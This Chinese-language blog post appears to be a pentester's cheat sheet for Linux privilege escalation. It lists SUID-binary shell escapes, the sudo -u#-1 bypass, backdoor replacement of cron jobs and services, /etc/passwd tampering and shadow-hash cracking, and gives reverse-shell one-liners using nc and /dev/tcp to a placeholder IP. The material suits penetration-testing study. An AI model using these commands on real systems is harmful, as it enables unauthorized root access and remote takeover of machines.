Linux提权

1.内核漏洞提权

searchsploit

uname -a,查内核版本

searchsploit查漏洞EXP

linux-exploit-suggester

./linux-exploit-suggester.sh,漏洞扫描,https://github.com/mzet-/linux-exploit-suggester

./linux-exploit-suggester-2.sh,这个更稳一些,https://github.com/jondonas/linux-exploit-suggester-2

扫描到的可以用MSF打或下载链接中的EXP打(.c要gcc编译,如果没写教程就尝试gcc shell.c -o shell)

2.suid提权

一种文件权限(rws的s),允许用户以其所有者(可能为root)的权限执行文件

三种linux命令搜索suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -lbd {} \;

以下为命令为suid权限时的提权方式

nmap:

nmap --interactive
nmap> !sh

find:

touch pentestlab
find pentestlab -exec whoami \;

vim:

vim.tiny
esc键
:set shell=/bin/sh
:shell

也可以读取敏感文件,vim.tiny /etc/passwd

bash:

bash -p

less:

less /etc/passwd
!/bin/sh

more:

more /etc/passwd
!/bin/sh

nano:

nano
ctrl+r
ctrl+x

cp、mv:

复制敏感文件到可读的地方,cp /etc/passwd /1.txt、mv /etc/passwd /1.txt

awk:

awk 'BEGIN {system("/bin/bash")}'

python

反弹shell:

python -c "import os;os.system('nc IP 端口 -e /bin/bash')"

php

反弹shell:php shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/端口 0>&1'");
// exec('bash -i >& /dev/tcp/IP/端口 0>&1');

3.sudo提权

CVE-2019-14287

直接执行为root权限,sudo -u#-1 命令

配置错误

配置了x用户可以通过输入root密码执行root权限less命令

如果有人输入过一次了,那么5分钟内不需要再输入,就可以suid提权了

4.定时任务提权

crontab -l,查看定时任务

cat /etc/crontab,查看定时任务及路径

如果定时任务的程序权限高,可以尝试替换为后门

5.服务提权

service --status-all,查看全部服务

systemctl | grep running,查看开启的服务

如果服务的程序权限高,可以尝试替换为后门

6.脆弱的文件权限

find /etc -maxdepth 1 -writable -type f,查找可写文件

find /etc -maxdepth 1 -readable -type f,查找可读文件

find / -executable -writable -type d 2>/dev/null,查找可写文件的目录

/etc/passwd中root:x,x删了导致su root不需要密码

openssl passwd "密码",生成可以替换掉x的密码哈希值

mkpasswd -m sha-512 密码,生成可以替换掉shadow密码哈希值的密码哈希值

john --format=sha512crypt(加密格式) --wordlist=字典路径 hash.txt,爆破shadow密码

7.历史命令

cat ~/.*history | less,看看历史命令有没有密码

8.数据库提权

https://www.cnblogs.com/LeiyNeKo/articles/16939178.html

posted @ 2022-12-06 16:34  Hacker&Cat  阅读(55)  评论(0编辑  收藏  举报